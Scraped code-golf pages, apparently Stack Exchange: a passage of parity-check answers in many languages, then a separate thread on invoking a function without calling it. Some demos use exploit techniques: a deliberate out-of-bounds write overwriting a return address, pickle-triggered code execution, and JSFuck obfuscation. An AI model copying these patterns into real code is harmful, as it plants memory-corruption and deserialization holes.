online!](https://tio.run/nexus/taxi#rVNLT8MwDP4rVi/cItYNhHpkIA4gmLTdph3S1m2jhaRLUqr9@pKQdNpLHYgdLCt@fLY/O92LBCNhJrWBj6JgGSYtjIBbUU6TGcvWTQ0Uaqo1ihIVlJKJ0mUtKoRHmiIvmK5QbYkHOzYnukccRHtiXyxHoCKHqRSbBhWJgWloKTMuhBqYG6qyivEc3ptPVJLLsi96zpWIUNhLfGGcMw147FNHggFRwdhK/EPW8HjTbcalwAAZXgHnN90tVCPWqPRg0POmofxG2zaV2LXfZ/o9/D3/0Ojvg8xbZrLKuWtOBURpBKwAIcFOtbe1wWqvQhoNb5ZXF@mLHdjsAiee2kAxJ0u6usZJthep2PsS5PSTiN1JL9PV7RXOVP2TqXaPJac53FnM4y3RiHTd6H78MPkG) You're right, that's awful to read without line breaks. Here's a formatted version: ``` Go to Post Office:w 1 l 1 r 1 l. Pickup a passenger going to The Babelfishery. Go to The Babelfishery:s 1 l 1 r. Pickup a passenger going to Divide and Conquer. 2 is waiting at Starchild Numerology. Go to Starchild Numerology:n 1 l 1 l 1 l 2 l. Pickup a passenger going to Divide and Conquer. Go to Divide and Conquer:e 1 l 2 r 3 r 2 r 1 r. Pickup a passenger going to Cyclone. Go to Cyclone:e 1 l 1 l 2 l. Pickup a passenger going to Trunkers. Pickup a passenger going to Equal's Corner. Go to Trunkers:s 1 l. Pickup a passenger going to Equal's Corner. Go to Equal's Corner:w 1 l. Switch to plan "b" if no one is waiting. Pickup a passenger going to Knots Landing. Go to Knots Landing:n 4 r 1 r 2 r 1 l. [a]Pickup a passenger going to The Babelfishery. Go to The Babelfishery:w 1 l. Pickup a passenger going to Post Office. Go to Post Office:n 1 l 1 r. [b]0 is waiting at Starchild Numerology. Go to Starchild Numerology:n 1 r. Pickup a passenger going to Knots Landing. Go to Knots Landing:w 1 r 2 r 1 r 2 l 5 r. Switch to plan "a". ``` Here's my best attempt to explain the logic: ``` Go to Post Office to pick up the stdin value in a string format. Go to The Babelfishery to convert the string to a number. Go to Starchild Numerology to pickup the numerical input 2. Go to Divide and Conquer to divide the two passengers (stdin & 2). Go to Cyclone to create a copy of the result. Go to Trunkers to truncate the original to an integer. Go to Equal's Corner to see if the two passengers are the same. Equal's Corner returns the first passenger if they're the same (no .5 removal so the stdin was even) or nothing if they're not. If nothing was returned, it was odd, so go pick up a 0 from Starchild Numerology. Go to Knots Landing to convert any 0s to 1s and all other numbers to 0s. Go to The Babelfishery to convert the passenger (either a 1 or 0 at this point) to a string. Go to Post Office to print that string. Try and fail to go to Starchild Numerology because the directions are wrong so the program terminates. ``` Not going back to the Taxi Garage causes output to STDERR but I'm [fine with that](https://codegolf.meta.stackexchange.com/questions/4780/should-submissions-be-allowed-to-exit-with-an-error/4781#4781). [Answer] # Python, ~~11~~ 10 bytes -1 byte thanks to Griffin ``` 1 .__and__ ``` [Try it online!](https://tio.run/nexus/python2#S7ON@W@ooBcfn5iXEh//Py2/SCFTITNPoSgxLz1Vw9BA04pLoaAoM69EIVNHIU0jU/M/AA "Python 2 – TIO Nexus") Using bitwise `and`, returns `0` for even and `1` for odd [Answer] ## [Retina](https://github.com/m-ender/retina), 8 bytes ``` [02468]$ ``` A Retina answer for decimal input. This is also a plain regex solution that works in almost any regex flavour. Matches (and prints `1`) for even inputs and doesn't match (and prints `0`) for odd inputs. [Try it online!](https://tio.run/nexus/retina#U9VwT/gfbWBkYmYRq/L/vyGXEZehmbGFCZclFAAA "Retina – TIO Nexus") An alternative, also for 8 bytes, uses a transliteration stage to turn all even digits to `x` first (because transliteration stages have a built-in for even/odd digits): ``` T`E`x x$ ``` Of course, the shortest input format (even [shorter than unary](https://codegolf.stackexchange.com/a/113458/8478)) would be binary in this case, where a simple regex of `0$` would suffice. But since the challenge is essentially about finding the least-signficant binary digit, binary input seems to circumvent the actual challenge. [Answer] ## LOLCODE, 67 bytes ``` HOW DUZ I C YR N VISIBLE BOTH SAEM MOD OF N AN 2 AN 0 IF U SAY SO ``` Function that returns `WIN` (true) if number is even, else (odd) it will return `FAIL` (false). Call with `C"123"`. [Answer] # [MATL](https://github.com/lmendo/MATL), ~~5~~ 3 bytes *Because builtins are boring* ``` :He ``` This outputs a matrix of nonzero values (which is truthy) for even input, and a matrix with a zero in its lower right entry (which is falsy) for odd input. [**Try it online!**](https://tio.run/nexus/matl#@2/lkfrfXr2kqLQko1K9Vj0tMae4Uv2/KQA "MATL – TIO Nexus") The footer code is an `if-else` branch to illustrate the truthiness or falsihood of the result. Removing that footer will implicitly display the matrix. ### Explanation Consider input `5` as an example ``` : % Implicitly input n. Push row vector [1 2 ... n] % STACK: [1 2 3 4 5] He % Reshape into a 2-row matrix, padding with zeros if needed % STACK: [1 3 5; 2 4 0] ``` [Answer] # Java 8, 8 bytes ``` n->n%2<1 ``` [Try it here.](https://tio.run/nexus/java-openjdk#hY/BCsIwEETv/Yq5CMnBQquI0uofeCg9ioc0Rgmkm7ZJBZF@e021V@keFmbfMMNKI5zDWWh6R4Amr7q7kArFJIHKWqMEQbKAQDwL1yEKy3nhtUSBFkeMtD7RKs2TMZtY01cmsNnytPqGOhSw0neaHpcrBP@lly/nVR3b3sdNQN4Qa2PJEv7t@cvTBZ7sNvvtgucwD59fGsYP) # Java 7, 30 bytes ``` Object c(int n){return n%2<1;} ``` [Try it here.](https://tio.run/nexus/java-openjdk#hYqxCsIwFEX3fsVdhGQptIoo1U8IDh3FIY1BIs1raV4VCf32GtTZnuXCPce0OgSoOJ@auzUMIxwxSMbB8jgQaFUeimqagX5sWmcQWHOaR@eu8NqRqHlwdDtfoGXMkFDwOILsE0rI6nPVr8DW593IeZ9qbkn43IhC/vflgi@2691modn/@GZTNs1v) Outputs `true` for even numbers and `false` for odd numbers --- If `1/0` would be allowed instead of `true/false` ([it isn't, considering the numbers of votes here](https://codegolf.meta.stackexchange.com/a/2194/52210)): * **Java 8 (6 bytes):** `n->n%2` * **Java 7 (25 bytes):** `int c(int n){return n%2;}` [Answer] # Piet, 15 codels / 16 bytes [![Source Code](https://i.stack.imgur.com/9aDlj.png)](https://i.stack.imgur.com/9aDlj.png) ``` 5njaampjhompppam ``` [Online interpreter available here.](http://zobier.net/piet/) This program returns 0 if the input is even and 1 if the input is odd. The text above represents the image. You can generate the image by pasting it into the text box on the interpreter page. For convenience I have provided the image below where the codel size is 31 pixels. The grid is there for readability and is not a part of the program. ## Explanation This program uses the modulo builtin to determine if the input is even or odd. ``` Instruction Δ Hue Δ Lightness Stack ------------ ----- ----------- ------- In (Number) 4 2 n Push [2] 0 1 2, n Modulo 2 1 n % 2 Out (Number) 5 1 [Empty] [Exit] [N/A] [N/A] [Empty] ``` The dark blue codels in the bottom-left are never visited and can be changed to any color other than a color of a neighboring codel. I chose dark blue as I think it looks nice with the rest of the program. The top-left black codel could also be white, but not any other color. I have chosen black as I think it looks nicer. I have provided the program in both image form and text form as there is no clear consensus on how to score Piet programs. Feel free to weigh in on [the meta discussion.](https://codegolf.meta.stackexchange.com/questions/10991/how-to-determine-the-length-of-a-piet-program) [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 14 bytes Input and output is taken as character codes as per [this meta](https://codegolf.meta.stackexchange.com/a/4719/47066). Byte value 1 correspond to odd numbers and 0 to even. ``` +>>,[-[->]<]<. ``` [Try it online!](https://tio.run/nexus/brainfuck#@69tZ6cTrRutaxdrE2uj9/@/IgA "brainfuck – TIO Nexus") [Answer] # JavaScript, 6 bytes An anonymous function: ``` n=>n&1 ``` Alternatively with the same length: ``` n=>n%2 ``` Both will return `0|1` which should fulfill the requirement for `truthy|falsey` values. [Try both versions online](https://jsfiddle.net/fs10nga8/) [Answer] # [Japt](https://github.com/ETHproductions/japt), 1 byte ``` v ``` Returns `1` for even numbers, `0` for odd. [Try it online!](https://tio.run/nexus/japt#@1/2/7@hkbEJAA "Japt – TIO Nexus") ### Explanation One of Japt's defining features is that unlike most golfing languages, functions do not have fixed arity; that is, any function can accept any number of arguments. This means that you can sometimes leave out arguments and Japt will guess what you want. `v` on numbers is a function that accepts one argument and returns `1` if the number is divisible by the argument, else `0`. For example: ``` v3 ``` This program will output `1` if the input is divisible by 3, and `0` otherwise. It just so happens that the default argument is `2`, thereby solving this challenge in a single byte. --- ## Alternative 1 byte solution: ``` ¢ ``` `¢` converts the input into a base-2 string. The `-h` flag returns the last char from the string. [Try it online!](https://tio.run/nexus/japt#@39o0f//hkbGJqZcuhkA) [Answer] # Sinclair ZX81 BASIC 124 bytes 114 bytes 109 bytes 57 50 42 tokenized BASIC bytes Another release candidate: ``` 1 INPUT A 2 IF A THEN PRINT A;":";NOT INT A-(INT (INT A/VAL "2")*VAL "2") ``` As per Adám's comments below: ``` 1 INPUT A 2 IF NOT A THEN STOP 3 PRINT A;":";NOT INT A-(INT (INT A/VAL "2")*VAL "2") ``` It will now `PRINT` `1` for even and `0` for odd. Zero exits. Here are older versions of the symbolic listing for reference purposes: ``` 1 INPUT A 2 IF NOT A THEN STOP 3 LET B=INT (INT A/2) 4 PRINT A;":";NOT INT A-B*2 5 RUN ``` Here is the old (v0.01) listing so that you may see the improvements that I've made as not only is this new listing smaller, but it's faster: ``` 1 INPUT A 2 IF A<1 THEN STOP 3 LET B=INT (INT A/2) 4 LET M=1+INT A-B*2 5 PRINT A;":"; 6 GOSUB M*10 7 RUN 10 PRINT "TRUE" 11 RETURN 20 PRINT "FALSE" 21 RETURN ``` And here is v0.02 (using Sinclair sub strings): ``` 1 INPUT A 2 IF NOT A THEN STOP 3 LET B=INT (INT A/2) 4 LET M=1+INT A-B*2 5 LET C=4*(M=2) 6 PRINT A;":";"TRUE FALSE"(M+C TO 5+C+(M=2)) 7 RUN ``` [![ZX81 in action - true or false from v1/2](https://i.stack.imgur.com/K5QvO.png)](https://i.stack.imgur.com/K5QvO.png) [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 12 bytes ``` ,++[>++]>++. ``` This requires an interpreter with a circular tape and cells that wrap around. The one on TIO has 65,536 8-bit cells and satisfies the requirements. I/O is in bytes. Odd inputs map to **0x00** (falsy), even inputs to a non-zero byte (truthy). [Try it online!](https://tio.run/nexus/bash#TY67CsIwAEVn8xWX0hIlNrWVTpZuuvoB6pA@AkFJQppCxPrttYOIw4HLuctphUcNK5zyT95IVBXo8Xyi85axS83YbYHPiyFEGgcNpfHKOS/K8n1AZ8jKOqW9BE32Iyhi/TPRNcTr7052RVi@TYQJmbE@88qk3gk9WPXo3ZA1Tigtx/b@1zIhhA6pHUhndD9/AA "Bash – TIO Nexus") ### How it works We start by reading a byte of input with `,` and adding **2** to its value with `++`. We'll see later why incrementing is necessary. Next, we enter a loop that advances to the cell at the right, add **2** to it, and repeats the process unless this set the value of the cell to **0**. Initially, all cells except for the input cell hold **0**. If the input is odd, adding **2** to it will never zero it out. However, after looping around the tape **127** times, the next iteration of the loop will set the cell to the right of the input cell to **128 × 2 = 0 (mod 256)**, causing the loop to end. `>++` repeats the loop body one more time, so next cell is also zeroed out and then printed with `.`. On the other hand, if the input is **n** and **n** is even, the code before the loop sets the input cell to **n + 2**. After looping around the tape **(256 - (n - 2)) / 2 = (254 - n) / 2** times, the input cell will reach **0**, and the cell to its right will hold the value **(254 - n) / 2 × 2 = 254 - n**. After adding **2** with `>++`, `.` will print **256 - n = -n (mod 256)**, which is non-zero since **n** is non-zero. Finally, note that the second case would print **258 - n = 2 - n (mod n)** if we didn't increment the input before the loop, since one more loop around the tape would be required to zero out the input cell. The program would thus fail for input **2**. [Answer] # [Intel 8080 machine code](https://en.wikipedia.org/wiki/Intel_8080), 1 byte ``` 1F RAR ; rotate accumulator's least significant bit into Carry Flag ``` Input is in `A`, result is `CF=1` if odd, `CF=0` if even. Here is a test program for the [MITS Altair 8800](https://en.wikipedia.org/wiki/Altair_8800) that will take the input number and display the result (odd or even) on the front panel lights. Just follow these programming instructions on the front panel switches: ``` Step Switches 0-7 Control Switch Instruction Comment 1 RESET 2 00 111 110 DEPOSIT MVI A, 27 Load number to examine into A 3 00 011 011 DEPOSIT NEXT Set value to test (27 in this case) 4 00 011 111 DEPOSIT NEXT RAR Rotate A's LSB into CF 5 11 110 101 DEPOSIT NEXT PUSH PSW Push Status Flags to stack 6 11 000 001 DEPOSIT NEXT POP B Pop Status Flags to BC register 7 00 111 110 DEPOSIT NEXT MVI A, 1 CF is LSB (0x1) of Status Flags 8 00 000 001 DEPOSIT NEXT 9 10 100 001 DEPOSIT NEXT ANA C Mask CF so is only result displayed 10 11 010 011 DEPOSIT NEXT OUT 255 display contents of A on data panel 11 11 111 111 DEPOSIT NEXT 12 01 110 110 DEPOSIT NEXT HLT Halt CPU 13 RESET Reset program counter to beginning 14 RUN 15 STOP D0 light will be on if value is odd, or off if even ``` If entered correctly, the program in RAM will look like: `0000 3e 1b 1f f5 c1 3e 01 a1 d3 ff 76` To re-run with a another number: ``` Step Switches 0-7 Control Switch Comment 1 RESET 2 00 000 001 EXAMINE Select memory address containing value 3 00 000 010 DEPOSIT Enter new value in binary (2 in this case) 4 RESET 5 RUN 6 STOP ``` [Try it online!](https://s2js.com/altair/sim.html) Just follow the easy steps above! **Output** Input = `27`, light `D0` is ON indicating ODD result: [![enter image description here](https://i.stack.imgur.com/wSqMI.png)](https://i.stack.imgur.com/wSqMI.png) Input = `2`, light `D0` is OFF indicating EVEN result: [![enter image description here](https://i.stack.imgur.com/FTrEX.png)](https://i.stack.imgur.com/FTrEX.png) [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 1 byte ``` È ``` Fairly self-explantory. Returns `a % 2 == 0` [Try it online!](https://tio.run/nexus/05ab1e#@3@44/9/QwA "05AB1E – TIO Nexus") [Answer] # Pyth, ~~3~~ 2 bytes I did it. I golfed the ungolfable. For once, it's a non-trivial solution that managed to get that last byte! ``` !F ``` Truthy on even values (not including 0, but that's not positive so...). Explanation: ``` ! Not FQQ Applied to the input (first Q) Q times ``` For example, `!!2 = !0 = 1`, and `!!!3 = !!0 = !1 = 0` I'll keep my library of 3-byte solutions here below. "There's another answer with multiple 3-byte solutions, but it's far from complete. Let's add a couple more: ``` @U2 ``` Indexes into the list `[0,1]` modularly, giving truthy values on odd input. ``` }2P ``` Is 2 in the prime factorization of the input? (Truthy on even) ``` ti2 ``` Is the GCD of 2 and the input 2? (Truthy on even) ``` gx1 ``` does XOR-ing the input with 1 not decrease it? (Truthy on even) ``` q_F ``` Basically `Q == Q*-1^Q` where Q is the input, but done through a loop. (Truthy on even) ``` _FI ``` Same as above. ``` g^_ ``` Translates to `Q <= -Q^Q` (Truthy on even) Note that any of the above solutions involving `g` will work with `<` for flipped truthy-falsiness.) [Answer] # [BitCycle](https://github.com/dloscutoff/esolangs/tree/master/BitCycle), ~~19 17 16~~ 15 bytes ``` ?ABv // < !+\< ``` [Try it online!](https://tio.run/##S8osSa5Mzkn9/9/e0amMS0FfX8GGS1E7xub///@GBgb/8gtKMvPziv/rlgIA "BitCycle – Try It Online") ~~Argh, I feel like there's a 18 byte solution floating just out of reach :(~~ Haha! -2 bytes by using a `+` to redirect bits coming from different directions. ### Explanation: ``` ?ABv Feed unary input into the main loop / Every loop, two bits will be removed from the input +\< By the \ and /s each ``` ``` When we reach the point where there is either one or no bits of input left // < If one, it will reflect off all three /\s and turn west at the + !+\ And then output, otherwise the program ends since no more bits are moving ``` [Answer] ## Retina, 3 bytes ``` 11 ``` The trailing newline is significant. Takes input in unary. Outputs 1 for odd numbers, nothing for even numbers. [Try it online!](https://tio.run/nexus/retina#@29oyPX/vyEUAAA "Retina – TIO Nexus") [Answer] # C++, 25 bytes ``` template<int v>int o=v&1; ``` This defines a variable template ([a function-like construct](https://codegolf.meta.stackexchange.com/a/2422)) with value equal to the bitwise operation `input&1`. `0` for even values, `1` for odd values. The value is calculated on compile-time. Requires C++14. [Try it online!](http://coliru.stacked-crooked.com/a/9f60d4a37ec0facd) [Answer] # TIS-100, 39 bytes Of course, this is, more precisely, a program for the T21 Basic Execution Node architecture, as emulated by the TIS-100 emulator. I'll refer you to [this answer](https://codegolf.stackexchange.com/a/60264/64834) for a fantastically in-depth explanation of the scoring for TIS-100 programs, as well as their structure. ``` @0 ADD UP G:SUB 2 JGZ G MOV ACC ANY ``` Explanation: ``` @0 # Indicates that this is node 0 ADD UP # Gets input and adds it to ACC, the only addressable register in a T-21 G: # Defines a label called "G" SUB 2 # Subtracts 2 from ACC JGZ G # If ACC is greater than 0, jumps to G MOV ACC ANY # Sends the value of ACC to the first available neighbor; in this case, output. # Implicitly jumps back to the first line ``` In pseudocode, it'd look something like: ``` while (true) { acc = getIntInput() do { acc -= 2 } while (acc > 0) print(acc) } ``` The T21 doesn't have boolean types or truthy/falsy values, so the program returns -1 for odd numbers and 0 for even numbers, unless the previous input was odd, in which case it returns -1 for even numbers and 0 for odd numbers - if that fact disturbs you, this is a full-program answer, so you can just restart your T21 between uses. [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~22~~ 20 bytes [*Here is annother cool answer in Brain-Flak you should also check out*](https://codegolf.stackexchange.com/a/113488/56656) ``` (({})){({}[()]<>)}<> ``` [Try it online!](https://tio.run/nexus/brain-flak#@6@hUV2rqVkNJKM1NGNt7DRrbez@/zcCAA "Brain-Flak – TIO Nexus") ## Explanation To start we will make a copy of our input with `(({}))`. The bottom copy will serve as a truthy value while the top one will be used for the actual processing. This is done because we need the input to be on the top and it is rather cumbersome (two extra bytes!) to put a 1 underneath the input. Then we begin a loop `{({}[()]<>)}`. This is a simple modification on the standard countdown loop that switches stacks each time it decrements. Since there are two stacks an even number will end up on the top of the stack it started on while an odd number will end on the opposite stack. The copied value will remain in place and thus will act as a marker of where we started. Once we are done with the loop we have a `0` (originally the input) sitting on top of either a truthy (the copy of the input) or falsy (empty stack) value. We also have the opposite value on the other stack. We need to get rid of the `0` which can be removed either by `{}` or `<>`. Both seem to work and give opposite results, however `{}` causes a falsy value for zero, when it should return truthy. This is because our "truthy" value is a copy of the input and zero is the only input that can be falsy. This problem is resolved by ending the program with `<>` instead. (Of course according to the specification I do not technically have to support zero but give two options I would prefer to support it) [Answer] ## C#, 8 bytes ``` n=>n%2<1 ``` Compiles to a `Func<int, bool>`. Or if an anonymous function is disallowed, this method for 21 bytes: ``` bool p(int n)=>n%2<1; ``` [Answer] # Pyth, 3 I was expecting pyth to have a 1 or 2 byte builtin for this. Instead here are the best solutions I could find: ``` %Q2 ``` or ``` .&1 ``` or ``` e.B ``` [Answer] # Bash + bc, 21 14 11 9 bytes ``` bc<<<$1%2 ``` Reads command-line input, expands the value into the string with the mod operation, and pipes the string to bc for calculation. Outputs 1 for odd, 0 for even. Test cases: ``` (Input):(Output) 1:1 2:0 16384:0 99999999:1 ``` Edit: saved 7 bytes thanks to @ais523 Edit 2: saved another 3 bytes thanks to @Dennis Edit 3: saved another two thanks to @Dennis [Answer] # [7](https://esolangs.org/wiki/7), 18 characters, 7 bytes ``` 177407770236713353 ``` [Try it online!](https://tio.run/nexus/7#@29obm5iYG5ubmBkbGZuaGxsavz/v6EhAA "7 – TIO Nexus") 7 doesn't have anything resembling a normal if statement, and has more than one idiomatic way to represent a boolean. As such, it's hard to know what counts as truthy and falsey, but this program uses `1` for odd and the null string for even (the truthy and falsey values for Perl, in which the 7 interpreter is written). (It's easy enough to change this; the odd output is specified before the first 7, the even output is specified between the first two 7s. It might potentially need an output format change to handle other types of output, though; I used the two shortest distinct outputs here.) 7 uses a compressed octal encoding in which three bytes of source represent eight bytes of program, so 18 characters of source are represented in 7 bytes on disk. ## Explanation ``` 177407770236713353 77 77 7 Separate the initial stack into six pieces (between the 7s) 023 Output format string for "output integers; input one integer" 7 6 Escape the format string, so that it's interpreted as is 13 Suppress implicit looping 3 Output the format string (produces input) 5 Run the following code a number of times equal to the input: 40 Swap the top two stack elements, escaping the top one 3 Output the top stack element ``` Like many output formats, "output integers" undoes any number of levels of escaping before outputting; thus `40`, which combined make a swap-and-escape operation, can be used in place of `405`, a swap operation (which is a swap-and-escape followed by an unescape). If you were using an output format that isn't stable with respect to escaping, you'd need the full `405` there. (Incidentally, the reason why we needed to escape the format string originally is that if the first output contains unrepresentable characters, it automatically forces output format 7. Escaping it removes the unrepresentable characters and allows format 0 to be selected.) Of the six initial stack elements, the topmost is the main program (and is consumed by the `13` that's the first thing to run); the second is the `023` that selects the output format and requests input, and is consumed by that operation; the third is consumed as a side effect of the `3` operation (it's used to discard stack elements in addition to producing output); the fourth, `40`, is the body of the loop (and consumed by the `5` that executes the loop); and the fifth and sixth are swapped a number of times equal to the input (thus end up in their original positions if the input is even, or in each others' positions if the input is odd). You could golf off a character by changing the leading `177` to `17` (and relying on an implicit empty sixth stack element), but that would change the parity of the outputs to a less idiomatic method than odd-is-true, and it doesn't save a whole byte (the source is still seven bytes long). As such, I decided to use the more natural form of output, as it doesn't score any worse. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 1 byte ``` Ḃ ``` [Try it online!](https://tio.run/nexus/jelly#@/9wR9N/I4Ogw@2Pmtb8BwA "Jelly – TIO Nexus") Just another builtin. For people who don't know Jelly: it has quite a bit of ability to infer missing bits of code, thus there isn't much syntactic difference between a snippet, a function, and a full program; the interpreter will automatically add code to input appropriate arguments and output the result. That's pretty handy when dealing with PPCG rules, which allow functions and programs but disallow snippets. In the TIO link, I'm treating this as a function and running it on each integer from 1 to 20 inclusive, but it works as a full program too. # [Jelly](https://github.com/DennisMitchell/jelly), 2 bytes ``` &1 ``` [Try it online!](https://tio.run/nexus/jelly#@69m@N/IIOhw@6OmNf8B "Jelly – TIO Nexus") It's pretty short without the builtin, too. (This is bitwise-AND with 1.) [Answer] # Pure Bash, 8 * 3 bytes saved thanks to @Dennis ``` (($1%2)) ``` Input given as a command-line parameter to this function `f`. Output returned as a shell return value - display with `echo $?` [Answer] ## [Alice](https://github.com/m-ender/alice), 7 bytes ``` 1\@ oAi ``` [Try it online!](https://tio.run/nexus/alice#@28Y48CV75j5/7@hkTEA "Alice – TIO Nexus") Prints `0` for even inputs and `1` for odd inputs. ### Explanation This is structurally similar to [my addition program](https://codegolf.stackexchange.com/a/116094/8478), but the flipped mirror subtly changes the control flow: ``` 1 Push 1. \ Reflect northeast. Switch to Ordinal. Bounce off the boundary, move southeast. i Read all input as a string. Bounce off the corner, move back northwest. \ Reflect south. Switch to Cardinal. A Implicitly convert input string to integer. Compute bitwise AND with 1. Wrap around to the first line. \ Reflect northwes. Switch to Ordinal. Bounce off the boundary, move southwest. o Implicitly convert result to string and print it. Bounce off the corner, move back northeast. \ Reflect east. Switch to Cardinal. @ Terminate the program. ``` ]
[Question] [ **Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers. --- **Want to improve this question?** Update the question so it focuses on one problem only by [editing this post](/posts/22469/edit). Closed 7 years ago. [Improve this question](/posts/22469/edit) Inspired by a [now deleted StackOverflow question](https://stackoverflow.com/questions/22105467/c-is-it-possible-to-call-a-function-without-calling-it). Can you come up with a way to get a particular method executed, without explicitly calling it? The more indirect it is, the better. Here's what I mean, exactly (C used just for exemplification, all languages accepted): ``` // Call this. void the_function(void) { printf("Hi there!\n"); } int main(int argc, char** argv) { the_function(); // NO! Bad! This is a direct call. return 0; } ``` Original question: ![enter image description here](https://i.stack.imgur.com/UNZGL.png) [Answer] # C ``` #include <stdio.h> int puts(const char *str) { fputs("Hello, world!\n", stdout); } int main() { printf("Goodbye!\n"); } ``` When compiled with GCC, the compiler replaces `printf("Goodbye!\n")` with `puts("Goodbye!")`, which is simpler and is supposed to be equivalent. I've sneakily provided my custom `puts` function, so that gets called instead. [Answer] Well, how is malware able to execute functions that aren't called in the code? By overflowing buffers! ``` #include <stdio.h> void the_function() { puts("How did I get here?"); } int main() { void (*temp[1])(); // This is an array of 1 function pointer temp[3] = &the_function; // Writing to index 3 is technically undefined behavior } ``` On my system, the return address of `main` happens to be stored 3 words above the first local variable. By scrambling that return address with the address of another function, `main` "returns" to that function. If you want to reproduce this behavior on another system, you might have to tweak 3 to another value. [Answer] # Bash ``` #!/bin/bash function command_not_found_handle () { echo "Who called me?" } Does this look like a function call to you? ``` [Answer] **Python 2** ``` >>> def func(*args): print('somebody called me?') ``` Here are some ways inspired by the other answers: 1. executing the code directly ``` >>> exec(func.func_code) # just the code, not a call somebody called me? ``` This is the best way of really not calling the function. 2. using the destructor ``` >>> class X(object):pass >>> x = X() >>> X.__del__ = func # let the garbage collector do the call >>> del x somebody called me? ``` 3. Using the std I/O ``` >>> x.write = func # from above >>> import sys >>> a = sys.stderr >>> sys.stderr = x >>> asdjkadjls somebody called me? somebody called me? somebody called me? somebody called me? somebody called me? >>> sys.stderr = a # back to normality ``` 4. using attribute lookups ``` >>> x = X() # from above >>> x.__get__ = func >>> X.x = x >>> x.x # __get__ of class attributes somebody called me? <__main__.X object at 0x02BB1510> >>> X.__getattr__ = func >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes somebody called me? >>> X.__getattribute__ = func >>> x.__class__ # any attribute somebody called me? ``` 5. The import mechanism ``` >>> __builtins__.__import__ = func >>> import os # important module! somebody called me? >>> os is None True ``` Well I guess that's all.. I can not import anything now. No wait.. 6. Using the get-item brackets `[]` ``` >>> class Y(dict): pass >>> Y.__getitem__ = func >>> d = Y() >>> d[1] # that is easy somebody called me? ``` 7. Using global variables. My favorite! ``` >>> exec "hello;hello" in d # from above somebody called me? somebody called me? ``` `hello` is an access to `d['hello']`. After this the world seems gray. 8. Meta classes ;) ``` >>> class T(type): pass >>> T.__init__ = func >>> class A: __metaclass__ = T somebody called me? ``` 9. Using iterators (you can overload any operator and use it) ``` >>> class X(object): pass >>> x = X() >>> X.__iter__ = func >>> for i in x: pass # only once with error somebody called me? >>> X.__iter__ = lambda a: x >>> X.next = func >>> for i in x: pass # endlessly! somebody called me? somebody called me? somebody called me? ... ``` 10. Errors! ``` >>> class Exc(Exception):__init__ = func >>> raise Exc # removed in Python 3 somebody called me? ``` 11. Frameworks call you back. Almost every GUI has this functionality. ``` >>> import Tkinter >>> t = Tkinter.Tk() >>> t.after(0, func) # or QTimer.singleShot(1000, func) >>> t.update() somebody called me? ``` 12. Execute the source string (func must be in a file) ``` >>> import linecache >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:])) somebody called me? ``` 13. Decorators ``` >>> @func def nothing():pass sombody called me? ``` 14. with pickle de-serialization (least favorites coming) ``` >>> import pickle # serialization >>> def __reduce__(self): return func, () >>> X.__reduce__ = __reduce__ >>> x = X() >>> s = pickle.dumps(x) >>> pickle.loads(s) # this is a call but it is hidden somewhere else somebody called me? ``` 15. Using serialization ``` >>> import copy_reg >>> copy_reg.pickle(X, func) >>> pickle.dumps(x) # again a hidden call somebody called me? ``` More Python answers: * [using settrace](https://codegolf.stackexchange.com/a/22478/11745) * [using `hasattr`](https://codegolf.stackexchange.com/a/22587/11745) * [combining `globals()` and `__call__` indirectly](https://codegolf.stackexchange.com/a/22784/17986) * [with `reprlib`](https://codegolf.stackexchange.com/a/22855/11745) [Answer] # Javascript This one uses [JSFuck](http://jsfuck.com) to do the dirty work. ``` function x() { alert("Hello, you are inside the x function!"); } // Warning: JSFuck Black magic follows. // Please, don't even try to understand this shit. [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]] +(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][ (![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(! ![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[ ]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+ (![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!! []+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+ []+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(! []+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![ ]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+ !+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[ +!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+! +[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+ !+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![] ]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+ [])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[] )[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+ []]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[ ])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[ +[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[ ]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[! 